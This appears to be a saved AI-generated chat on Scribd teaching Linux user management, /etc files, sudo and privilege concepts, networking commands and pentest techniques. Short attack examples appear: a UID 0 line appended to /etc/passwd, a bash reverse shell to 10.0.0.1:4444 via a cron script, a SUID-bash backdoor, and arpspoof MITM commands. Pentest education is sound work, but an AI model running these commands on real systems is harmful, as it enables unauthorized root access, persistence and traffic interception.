0% found this document useful (0 votes)
10 views26 pages

Pen testing Commands

The document explains the function of the Linux command 'cat /etc/passwd', which displays user account information stored in the /etc/passwd file. It details how creating a new user, such as 'john', involves adding an entry to this file and discusses the differences between using 'adduser' and 'useradd' commands for user creation. Additionally, it covers the 'usermod' command for modifying existing user accounts and highlights the importance of the /etc directory for pentesters in identifying misconfigurations and extracting sensitive information.

Uploaded by

ighoruejp
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views26 pages

Pen testing Commands

The document explains the function of the Linux command 'cat /etc/passwd', which displays user account information stored in the /etc/passwd file. It details how creating a new user, such as 'john', involves adding an entry to this file and discusses the differences between using 'adduser' and 'useradd' commands for user creation. Additionally, it covers the 'usermod' command for modifying existing user accounts and highlights the importance of the /etc directory for pentesters in identifying misconfigurations and extracting sensitive information.

Uploaded by

ighoruejp
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 26

Pen testing Commands

I have this command in Linux cat/etc/passwd tell me more about how it


functions in particular when creating a new user called John, and how the
"etc" plays out or affects this

The correct command is cat /etc/passwd (with a space after cat). This
command displays the contents of the /etc/passwd file, which is a crucial
system file in Linux that stores user account information.

How /etc/passwd Works When Creating a New User (e.g., "john")

When you create a new user (e.g., using sudo adduser john or sudo
useradd john), the system automatically adds an entry for that user
in /etc/passwd.

Example Entry for User "john":

plaintext

john:x:1001:1001:John Doe:/home/john:/bin/bash

This line is structured into 7 colon-separated fields:

1. Username (john) – The login name.

2. Password placeholder (x) – Actual password is stored


in /etc/shadow for security.

3. User ID (UID) (1001) – A unique numerical identifier.

4. Group ID (GID) (1001) – Primary group ID (stored in /etc/group).

5. User info (GECOS) (John Doe) – Optional full name/description.

6. Home directory (/home/john) – Default user folder.

7. Login shell (/bin/bash) – Default shell when user logs in.

Role of `/etc/ in This Process

 /etc/ is a system directory containing configuration files, including:

o /etc/passwd → User account details.

o /etc/shadow → Encrypted passwords (secure).

o /etc/group → Group membership info.

 When a new user is created, Linux updates these files to store the
user’s credentials, permissions, and settings.

Key Takeaways

 cat /etc/passwd helps verify if a user was created successfully.


 Modifying /etc/passwd manually (e.g., with vipw) is possible but
risky—prefer tools like useradd or adduser.

 The x means password checks are handled by /etc/shadow (more


secure).

Would you like a deeper dive into user management commands


(e.g., useradd, usermod)?

how does this differ to using the command adduser john?

Great question! The key difference lies in manual vs. automated user
creation and the scope of changes made to system files. Here’s
how adduser john differs from manually editing /etc/passwd (or
using useradd):

1. adduser john (Recommended for Beginners)

 High-level command that automates user creation with interactive


prompts.

 Updates multiple files automatically:

o /etc/passwd (adds user entry)

o /etc/shadow (sets password securely)

o /etc/group (creates a personal group for the user)

o /home/john (creates home directory)

o Copies skeleton files (e.g., .bashrc from /etc/skel).

 Asks for details interactively (full name, password, etc.).

 Example:

bash

sudo adduser john

(Follow prompts to set password and details.)

2. useradd john (Low-Level Command)

 Basic, non-interactive command (requires flags for


customization).

 Minimal defaults: No home directory or password unless specified.

 Manual steps needed:


bash

sudo useradd -m john # -m creates /home/john

sudo passwd john # Set password manually

 Only edits /etc/passwd, /etc/shadow, and /etc/group.

 Less user-friendly but useful for scripts.

3. Manually Editing /etc/passwd (Not Recommended)

 Direct file modification (e.g., sudo vipw or text editors).

 Risky: Errors can break system access.

 Incomplete setup: You must manually:

o Set a password (via passwd john).

o Create /home/john.

o Assign permissions.

 Example entry:

plaintext

john:x:1001:1001::/home/john:/bin/bash

Key Differences Summary

Manual /etc/passwd
Feature adduser useradd
Edit

Interactive
Ease of Use Requires flags Error-prone
prompts

Home Auto-
Needs -m flag Manual creation
Directory created

Password Manual
Interactive Manual (passwd)
Setup (passwd)

Config Files Updates all Updates basics Partial updates


Manual /etc/passwd
Feature adduser useradd
Edit

Recommende Scripts/
Beginners Debugging (rarely)
d For automation

When to Use Which?

 Use adduser for simplicity (Debian/Ubuntu).

 Use useradd for scripting (RHEL/CentOS).

 Avoid manual edits unless debugging (e.g., recovering a broken


user).

Would you like a breakdown of the exact changes adduser makes


to /etc/passwd, /etc/shadow, and /etc/group?

continue and include an explanation for when and how to use the
"usermod" command to add a user john

Expanding User Management: usermod Command

The usermod command is used to modify existing user accounts (e.g.,


change properties like home directory, shell, or group membership).
Unlike adduser/useradd, it does not create new users but adjusts settings
for users already in /etc/passwd.

When to Use usermod (Practical Examples for User "john")

1. Change User’s Login Shell

If john was created with /bin/sh but needs bash:

bash

sudo usermod -s /bin/bash john

 Verification:

bash

grep john /etc/passwd

Output should show:


plaintext

john:x:1001:1001::/home/john:/bin/bash

2. Change User’s Home Directory

Move john’s home from /home/john to /var/www/john:

bash

sudo usermod -d /var/www/john -m john

 -d: New directory path.

 -m: Moves contents of the old home to the new location.

3. Add User to Supplementary Groups

Give john access to sudo and docker:

bash

sudo usermod -aG sudo,docker john

 -aG: Appends (does not replace) groups.

 Critical: Omit -a to overwrite all existing groups (risky!).

4. Lock/Unlock User Account

 Lock (disable login):

bash

sudo usermod -L john

 Unlock:

bash

sudo usermod -U john

5. Change UID (User ID)

Modify john’s UID from 1001 to 2001:

bash

sudo usermod -u 2001 john

 Warning: Ensure no processes are running as john (use killall -u


john if needed).

How usermod Affects System Files


usermod updates the same files as useradd/adduser:

1. /etc/passwd: Modifies user entries (e.g., UID, shell, home dir).

2. /etc/shadow: Updates password expiry/lock status.

3. /etc/group: Adjusts group memberships.

Key Differences: adduser vs. useradd vs. usermod

Comma
Purpose Example Use Case
nd

Interactive user sudo adduser


adduser
creation john (Debian/Ubuntu)

Low-level user sudo useradd -m -s /bin/bash


useradd
creation john

Modify existing
usermod sudo usermod -aG sudo john
users

Best Practices with usermod

1. Always use -aG for groups (not -G alone) to avoid removing


existing memberships.

2. Check dependencies before changing UID/GID (e.g., files owned


by the user).

3. Verify changes with:

bash

id john # Show UID, GID, groups

grep john /etc/passwd

Example Workflow: Creating and Modifying "john"

1. Create user:

bash
sudo adduser john

2. Add to sudo group later:

bash

sudo usermod -aG sudo john

3. Switch shell to zsh:

bash

sudo usermod -s /usr/bin/zsh john

Final Notes

 Use man usermod for all options.

 Prefer adduser for simplicity, usermod for tweaks, and avoid


manual /etc/passwd edits.

Would you like a breakdown of how groupmod or passwd commands


interact with these?

tell me more about /etc as a pentester and must-know in cyber security

/etc Directory: A Pentester’s Goldmine

In Linux, /etc (short for "et cetera") is the core configuration


directory containing critical system and application settings. As a
pentester or cybersecurity professional, understanding /etc helps you:

 Discover misconfigurations

 Extract credentials (or hashes)

 Escalate privileges

 Pivot across systems

Must-Know /etc Files for Pentesters

1. User & Authentication Files

/etc/passwd

 Purpose: Stores user account details (UID, shell, home dir).

 Pentest Use:

o Check for UID 0 (root) users (potential backdoors).


o Look for non-standard shells (e.g., /bin/false for service
accounts).

o Find home directories for loot (e.g., /.ssh/).

/etc/shadow

 Purpose: Stores password hashes (readable only by root).

 Pentest Use:

o Crack hashes with john or hashcat.

o Check for blank passwords (e.g., :: in the hash field).

o Privilege Escalation: If writable, replace a hash to gain root.

/etc/group

 Purpose: Defines user groups and memberships.

 Pentest Use:

o Find users in privileged groups (sudo, docker, adm).

o Check for custom groups (e.g., backup might have cron job
access).

2. Network & Service Configs

/etc/hosts

 Purpose: Manual DNS entries (bypasses DNS resolution).

 Pentest Use:

o Poison entries for phishing (e.g., redirect google.com to


attacker IP).

o Identify internal domains/IPs for pivoting.

/etc/ssh/sshd_config

 Purpose: SSH server settings.

 Pentest Use:

o Check for weak settings:

 PermitRootLogin yes → Bruteforce root SSH.

 PasswordAuthentication yes → Password spraying.

 AllowUsers/AllowGroups → Enumerate valid accounts.


/etc/services

 Purpose: Maps port numbers to service names.

 Pentest Use:

o Identify non-standard ports running services (e.g., 8080 for


web).

3. Privilege Escalation & Persistence

/etc/sudoers

 Purpose: Defines sudo permissions (visudo edits this safely).

 Pentest Use:

o Check for passwordless sudo (e.g., john ALL=(ALL)


NOPASSWD: ALL).

o Look for custom binaries allowed via sudo (e.g., (root)


/usr/bin/less → GTFOBins exploit).

/etc/crontab

 Purpose: System-wide cron jobs (scheduled tasks).

 Pentest Use:

o Find writable scripts called by cron (code execution as root).

o Check for wildcards in cron commands (exploit with


tar/rsync).

/etc/fstab

 Purpose: Filesystem mounts at boot.

 Pentest Use:

o Check for world-writable mounts (e.g., noexec missing →


shell upload).

4. Credential Hunting

/etc/nginx/, /etc/apache2/

 Purpose: Web server configs.

 Pentest Use:
o Find hardcoded credentials in configs (e.g., database
passwords).

o Check for misconfigured TLS or directory listings.

/etc/environment, /etc/profile

 Purpose: Global environment variables.

 Pentest Use:

o Hunt for API keys or database URLs.

Pentester’s Checklist for /etc

1. Enumeration:

bash

ls -la /etc/ # Check writable files

find /etc/ -type f -perm -o+w 2>/dev/null # World-writable files

2. Credential Extraction:

bash

grep -r "password" /etc/ 2>/dev/null

3. Privilege Escalation:

o Check sudo -l, cron jobs, SUID binaries.

4. Persistence:

o Backdoor /etc/rc.local or SSH keys in /etc/ssh/.

Real-World Attack Scenarios

 Scenario 1:

o /etc/passwd is writable → Add a UID 0 user.

o Exploit:

bash

echo "attacker:x:0:0::/root:/bin/bash" >> /etc/passwd

 Scenario 2:

o /etc/crontab runs a writable script → Reverse shell as root.


o Exploit:

bash

echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" > /script.sh

chmod +x /script.sh

Final Tips

 Always back up /etc files before modifying (e.g., cp /etc/passwd


/tmp/).

 Use linpeas or LinEnum to automate /etc checks.

 Mitigation: Restrict permissions (e.g., chmod 600 /etc/shadow).

Want a deep dive into exploiting a specific /etc file (e.g., /etc/sudoers)?

explain Users and Privileges wrt root, su, sudoers, sudo…and lower
privilege user john .

Users & Privileges in Linux: Root, SU, Sudoers, Sudo, and Low-
Privilege Users

In Linux, privileges determine what a user can or cannot do.


Understanding these concepts is critical for system administration,
privilege escalation (pentesting), and security hardening.

1. Root (Superuser)

 UID 0: The root user has unrestricted access to all files, commands,
and system resources.

 Power: Can modify system files (/etc/shadow, kernel settings),


install software, and change permissions.

 Danger:

o A compromised root account = full system takeover.

o Never run untrusted commands as root!

Example (Pentesting):

bash

cat /etc/shadow # Only root can read this


2. SU (Switch User)

 su allows switching to another user (default: root).

 Requires the target user’s password (unless run by root).

 Common in older systems, but sudo is preferred now.

Usage:

bash

su - # Switch to root (enter root password)

su - john # Switch to user "john" (enter john's password)

Security Issue:

 If john knows the root password, they can su - to gain full access.

3. Sudo (Superuser Do)

 sudo allows temporary root privileges for specific commands.

 Controlled by /etc/sudoers (edited via visudo).

 More secure than su (no need to share root password).

Usage:

bash

sudo apt update # Run as root (if allowed)

sudo -i # Open root shell (if permitted)

Pentesting Check:

bash

sudo -l # Lists allowed commands for current user

Example Misconfiguration (Priv Esc):

plaintext

john ALL=(ALL) NOPASSWD: ALL # john can run ANY command as root
without a password!

4. Sudoers File (/etc/sudoers)

 Defines who can run sudo and what commands.


 Edited safely with visudo (prevents syntax errors).

Key Entries:

plaintext

# User "john" can run all commands as root (with password)

john ALL=(ALL:ALL) ALL

# User "john" can run only `apt` as root

john ALL=(root) /usr/bin/apt

# Group "admins" gets full sudo access

%admins ALL=(ALL) ALL

Exploitable Configs (Pentesting):

 NOPASSWD → Run commands without a password.

 Wildcards (/usr/bin/*) → Possible command injection.

5. Low-Privilege User (e.g., "john")

 Standard users (UID ≥ 1000) have limited access.

 Cannot modify system files (/etc/, /bin/).

 Home directory (/home/john/) is their primary workspace.

Restrictions:

bash

john$ cat /etc/shadow # Permission denied

john$ sudo reboot # "john is not in the sudoers file"

Privilege Escalation Paths:

1. Find writable system files (find / -writable -user john


2>/dev/null).

2. Abuse sudo -l allowed commands (GTFOBins).

3. Exploit cron jobs (if john can modify scripts).


Summary: Privilege Hierarchy

User
Access Level Key Files Security Risks
Type

Full system /etc/shadow, / Complete compromise


Root
control bin/ if breached.

Sudo Temporary root Misconfig → Priv


/etc/sudoers
User via sudo escalation.

Switch to root
SU User /etc/passwd Password sharing risk.
(with pass)

Low-Priv Limited access User-owned Weak file perms → Priv


User (/home/) files esc.

Pentesting Scenarios

1. From john to Root via Sudo

bash

sudo -l # Check allowed commands

sudo /usr/bin/vi /root/flag.txt # If vi is allowed, escape to shell with `:!


bash`

2. SU Backdoor

If john knows root’s password:

bash

su - # Become root

3. Cron Job Abuse

If john can edit a script run by root:

bash

echo "chmod +s /bin/bash" >> /backup.sh # Set SUID on bash

Defensive Best Practices


✅ Use sudo instead of su (avoid sharing root password).
✅ Restrict sudo access (only necessary commands).
✅ Enforce strong passwords for root & sudo users.
✅ Audit /etc/sudoers regularly for misconfigs.

Final Notes

 Always check sudo -l during pentests.

 Monitor /etc/passwd and /etc/sudoers for unauthorized changes.

 Least Privilege Principle: Give users only the access they need.

Want a deep dive into exploiting sudo misconfigurations


(GTFOBins)? Let me know!

explain the following; in depth for cyber security ifconfig iwconfig ping arp
- a netstat - ano route

In-Depth Explanation of Key Networking Commands in


Cybersecurity

These commands are essential for network reconnaissance,


troubleshooting, and penetration testing. They help analyze network
interfaces, connectivity, routing, and active connections—critical for both
defenders and attackers.

1. ifconfig (Interface Configuration)

Purpose: Displays or configures network interfaces (IP, MAC, status).


Replaced by: ip addr (modern Linux), but still widely used.

Key Output Fields

bash

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.1.100 netmask 255.255.255.0 broadcast


192.168.1.255

ether 00:0a:95:9d:68:16 txqueuelen 1000 (Ethernet)

 inet: IPv4 address.

 ether: MAC address (useful for ARP spoofing).

 mtu: Maximum Transmission Unit (impacts packet fragmentation).

Cybersecurity Uses
✔ Network Enumeration: Identify active interfaces (eth0, wlan0).
✔ MAC Spoofing: Change MAC to bypass filtering (ifconfig eth0 hw ether
00:11:22:33:44:55).
✔ IP Assignment: Set a manual IP for testing (ifconfig eth0
192.168.1.50).

Warning: Deprecated in favor of ip command (e.g., ip a).

2. iwconfig (Wireless Configuration)

Purpose: Configures wireless interfaces (Wi-Fi). Similar to ifconfig but


for Wi-Fi.

Key Output Fields

bash

wlan0 IEEE 802.11 ESSID:"HomeWiFi"

Mode:Managed Frequency:2.437 GHz Access Point:


00:1A:2B:3C:4D:5E

Bit Rate=54 Mb/s Tx-Power=20 dBm

Encryption key:off

 ESSID: Wi-Fi network name.

 Access Point: MAC of the router.

 Encryption key: Indicates if Wi-Fi is secured (WPA/WEP).

Cybersecurity Uses

✔ Wi-Fi Recon: List nearby networks (iwlist wlan0 scan).


✔ MAC Filtering Bypass: Spoof MAC to match allowed devices.
✔ Rogue AP Attacks: Set interface to monitor mode (airmon-ng start
wlan0).

Note: Replaced by iw in modern systems (e.g., iw dev wlan0 scan).

3. ping (Packet Internet Groper)

Purpose: Tests reachability of a host via ICMP Echo Requests.

Common Usage

bash

ping -c 4 192.168.1.1 # Send 4 packets


ping -R google.com # Record route (traceroute-like)

 -c: Number of packets.

 -R: Path tracing (rarely supported).

Cybersecurity Uses

✔ Host Discovery: Find live machines (ping sweep with fping or nmap).
✔ Firewall Testing: Check if ICMP is blocked (common in secure
networks).
✔ DoS Risk: Flood attacks (ping -f), but modern systems rate-limit ICMP.

Defense: Block ICMP in firewalls to hide hosts (but breaks legit tools).

4. arp -a (Address Resolution Protocol)

Purpose: Lists the ARP cache (IP → MAC mappings).

Example Output

bash

? (192.168.1.1) at 00:1a:2b:3c:4d:5e [ether] on eth0

 Maps IP addresses to MAC addresses on the LAN.

Cybersecurity Uses

✔ ARP Spoofing: Impersonate devices (MITM attacks) using arpspoof.


✔ Detect Spoofing: Unusual MAC/IP pairs may indicate an attacker.
✔ Network Mapping: Identify devices on the local subnet.

Mitigation: Use static ARP entries or ARP monitoring


tools (e.g., arpwatch).

5. netstat -ano (Network Statistics)

Purpose: Lists active connections, listening ports, and processes.

Key Flags

Fla
Purpose
g

-a Show all (active + listening)


Fla
Purpose
g

Show numeric IPs (no DNS


-n
lookup)

-o Show process IDs (Windows)

-p Show process (Linux)

Linux vs. Windows

 Linux: netstat -tulnp (TCP/UDP, listening, numeric, PID).

 Windows: netstat -ano (All, Numeric, PID).

Cybersecurity Uses

✔ Backdoor Detection: Unusual listening ports (e.g., :4444 for


Metasploit).
✔ Malware Analysis: Identify C2 (Command & Control) connections.
✔ Service Enumeration: Find open ports (0.0.0.0:80 = HTTP server).

Replacement: ss (Linux, faster) and Get-NetTCPConnection (PowerShell).

6. route (Routing Table)

Purpose: Displays/manipulates the kernel IP routing table.

Key Fields

bash

Kernel IP routing table

Destination Gateway Genmask Flags Metric Iface

192.168.1.0 0.0.0.0 255.255.255.0 U 0 eth0

0.0.0.0 192.168.1.1 0.0.0.0 UG 100 eth0

 Destination: Network/host IP.

 Gateway: Next hop (0.0.0.0 = local network).

 Genmask: Subnet mask.

Cybersecurity Uses
✔ Route Manipulation: Add/delete routes for pivoting (route add -net
10.0.0.0/24 gw 192.168.1.2).
✔ VPN Leak Detection: Ensure traffic routes through the VPN.
✔ MITM Attacks: Redirect traffic via malicious gateway.

Modern Alternative: ip route (Linux).

Summary Table: Commands & Cybersecurity Relevance

Comman
Primary Use Attack Relevance Defense Relevance
d

Interface MAC spoofing, IP Detect unauthorized


ifconfig
config spoofing interfaces

Wi-Fi Rogue AP attacks, Monitor Wi-Fi


iwconfig
management wardriving connections

Host ICMP floods, host Block ICMP in


ping
reachability discovery firewalls

IP → MAC ARP spoofing Static ARP,


arp -a
mapping (MITM) monitoring

netstat - Active Audit open ports


Detect malware/C2
ano connections regularly

route Routing table Traffic interception Secure routing tables

Real-World Attack Examples

1. ARP Spoofing:

bash

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # Redirect traffic

2. Backdoor Detection:

bash
netstat -tulnp | grep ":4444" # Find reverse shells

3. Wi-Fi Attack:

bash

airmon-ng start wlan0 # Put Wi-Fi in monitor mode

Defensive Best Practices

 Disable unused interfaces (ifconfig eth0 down).

 Monitor ARP tables for anomalies.

 Block unnecessary ICMP in firewalls.

 Use ss/ip instead of deprecated commands.

Want a deeper dive into network attacks (MITM, DNS spoofing)? Let
me know!

This response is AI-generated, for reference only.

ip r and ip n

ip r and ip n – In-Depth Explanation for Cybersecurity

These commands are part of the modern iproute2 suite (replacing older
tools like ifconfig, route, and arp). They provide granular control over IP
routing and neighbor (ARP) cache management, making them
essential for network analysis, penetration testing, and defense.

1. ip r (Routing Table Management)

Purpose: Displays/manipulates the kernel routing


table (replaces route).

Key Usage Examples

View Routing Table

bash

ip route show

# or simply:

ip r

Example Output:

plaintext
default via 192.168.1.1 dev eth0 proto static

192.168.1.0/24 dev eth0 proto kernel scope link src 192.168.1.100

10.0.0.0/24 via 192.168.1.2 dev eth0

 default via: Default gateway (Internet route).

 192.168.1.0/24: Local subnet (directly connected).

 10.0.0.0/24 via 192.168.1.2: Manual route to another subnet.

Add/Delete Routes

bash

# Add a route

ip route add 10.0.0.0/24 via 192.168.1.2 dev eth0

# Delete a route

ip route del 10.0.0.0/24

# Flush all routes (DANGEROUS!)

ip route flush all

Cybersecurity Uses

✔ Network Pivoting: Add routes to access internal subnets after


exploitation.
✔ VPN Leak Testing: Ensure traffic routes through VPN (ip r | grep tun0).
✔ MITM Attacks: Redirect traffic via malicious gateway.
✔ Evasion: Bypass network restrictions by adding alternative routes.

Defensive Check:

bash

ip r | grep -v "dev eth0" # Look for unexpected routes

2. ip n (Neighbor Cache – ARP Table)

Purpose: Manages the ARP cache (replaces arp -a).

Key Usage Examples

View ARP Cache


bash

ip neigh show

# or simply:

ip n

Example Output:

plaintext

192.168.1.1 dev eth0 lladdr 00:1a:2b:3c:4d:5e REACHABLE

192.168.1.50 dev eth0 lladdr 00:11:22:33:44:55 STALE

 lladdr: MAC address of the neighbor.

 State:

o REACHABLE → Active communication.

o STALE → Entry expired (needs revalidation).

o PERMANENT → Static entry (manually added).

Add/Delete ARP Entries

bash

# Add a static ARP entry (prevents spoofing)

ip neigh add 192.168.1.100 lladdr 00:0a:95:9d:68:16 dev eth0 nud


permanent

# Delete an entry

ip neigh del 192.168.1.100 dev eth0

# Flush ARP cache

ip neigh flush all

Cybersecurity Uses

✔ ARP Spoofing Detection: Look for duplicate IPs or unexpected MACs.


✔ MITM Attacks: Poison ARP cache (arpspoof or manual ip
n manipulation).
✔ Network Mapping: Identify live hosts on the subnet.

Defensive Check:
bash

ip n | grep -i "permanent" # Ensure critical devices have static ARP

Comparison: Old vs. New Commands

Old Modern iprou


Task
Command te2

View routing
route -n ip r
table

route add - ip route


Add route
net ... add ...

View ARP
arp -a ip n
cache

Add ARP entry arp -s ip neigh add

Real-World Attack Scenarios

1. Route Manipulation (Post-Exploitation)

After compromising a machine:

bash

# Add a route to internal subnet 10.0.0.0/24 via attacker-controlled host

ip route add 10.0.0.0/24 via 192.168.1.200 dev eth0

# Now scan/internal pivoting becomes possible

nmap -sn 10.0.0.0/24

2. ARP Cache Poisoning (MITM)

bash

# Step 1: Flood victim’s ARP cache (redirect traffic to attacker)

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1


# Step 2: Verify ARP table on victim

ip n | grep "192.168.1.1" # Should show attacker’s MAC

Defensive Best Practices

✅ Use static ARP entries for critical servers (ip neigh add ... permanent).
✅ Monitor routing tables for unauthorized changes (ip r).
✅ Disable IP forwarding unless necessary (sysctl
net.ipv4.ip_forward=0).
✅ Log ARP changes with tools like arpwatch.

Key Takeaways for Pentesters

 ip r → Critical for network pivoting and traffic redirection.

 ip n → Essential for ARP spoofing and host discovery.

 Always check these after gaining initial access (post-exploitation).

Need a deep dive into ARP spoofing tools (Ettercap, bettercap)? Let
me know!

This response is AI-generated

Penetration Testing Techniques Overview

what are the penTEST Techniques?

Penetration testing (pen testing) involves various techniques to identify


and exploit vulnerabilities in systems, networks, and applications. These
techniques help assess security posture and recommend mitigations.
Below are the key penetration testing techniques:

1. Network Penetration Testing Techniques

 Port Scanning (Nmap, Masscan) – Identifying open ports and


services.

 Banner Grabbing – Extracting service versions (e.g., HTTP, FTP,


SSH).

 Vulnerability Scanning (Nessus, OpenVAS) – Automated detection


of known vulnerabilities.
 Man-in-the-Middle (MITM) Attacks (ARP spoofing, DNS spoofing)
– Intercepting network traffic.

 Password Cracking (Hydra, John the Ripper, Hashcat) – Brute-


forcing or dictionary attacks.

 Exploiting Known Vulnerabilities (Metasploit, Exploit-DB) –


Leveraging unpatched flaws.

 SNMP & LDAP Enumeration – Extracting information from


misconfigured services.

 Wireless Network Testing (Aircrack-ng, Wifite) – Cracking Wi-Fi


passwords, rogue AP attacks.

2. Web Application Penetration Testing Techniques

 SQL Injection (SQLi) – Exploiting database vulnerabilities.

 Cross-Site Scripting (XSS) – Injecting malicious scripts into web


pages.

 Cross-Site Request Forgery (CSRF) – Forcing users to execute


unwanted actions.

 Server-Side Request Forgery (SSRF) – Abusing server-side calls


to internal systems.

 File Inclusion (LFI/RFI) – Accessing unauthorized files on a server.

 API Testing (Broken Object Level Authorization, Injection in APIs).

 Session Hijacking – Stealing cookies or session tokens.

 Business Logic Testing – Exploiting flawed application workflows.

3. Social Engineering Techniques

 Phishing (Email, SMS, Voice) – Tricking users into revealing


credentials.

 Pretexting – Fabricating scenarios to extract sensitive information.

 Baiting – Leaving malware-infected devices (USB drops).

 Tailgating – Physically accessing restricted areas by following


authorized personnel.

4. Physical Penetration Testing Techniques

 Lock Picking/Bypass – Gaining unauthorized physical access.

 RFID Cloning – Duplicating access cards.


 Surveillance Evasion – Testing security response to intrusions.

5. Cloud & IoT Penetration Testing Techniques

 Misconfigured Cloud Storage (S3 Buckets, Blob Storage) –


Accessing exposed data.

 Container & Kubernetes Exploitation – Escaping containers,


privilege escalation.

 IoT Device Hacking (Firmware analysis, UART/JTAG attacks).

6. Post-Exploitation Techniques

 Privilege Escalation (Linux: Dirty Pipe, Windows: PrintNightmare).

 Persistence Mechanisms (Backdoors, Scheduled Tasks, Rootkits).

 Lateral Movement (Pass-the-Hash, RDP Hijacking).

 Data Exfiltration – Stealing sensitive data covertly.

7. Red Team & Advanced Techniques

 Living Off the Land (LOTL) – Using built-in tools (PowerShell,


WMI).

 Evading EDR/Antivirus – Obfuscation, process injection.

 Zero-Day Exploits – Leveraging undisclosed vulnerabilities.

Tools Used in Penetration Testing

 Reconnaissance: Nmap, Recon-ng, Maltego

 Exploitation: Metasploit, Cobalt Strike, Burp Suite

 Post-Exploitation: Mimikatz, Empire, Covenant

 Reporting: Dradis, Faraday, Pentest Reports

Conclusion

Pen testers use a combination of automated tools and manual techniques


to simulate real-world attacks. The approach depends on the target
(network, web, cloud, etc.) and the testing scope (black-box, gray-box,
white-box).

Would you like a detailed breakdown of a specific technique?

You might also like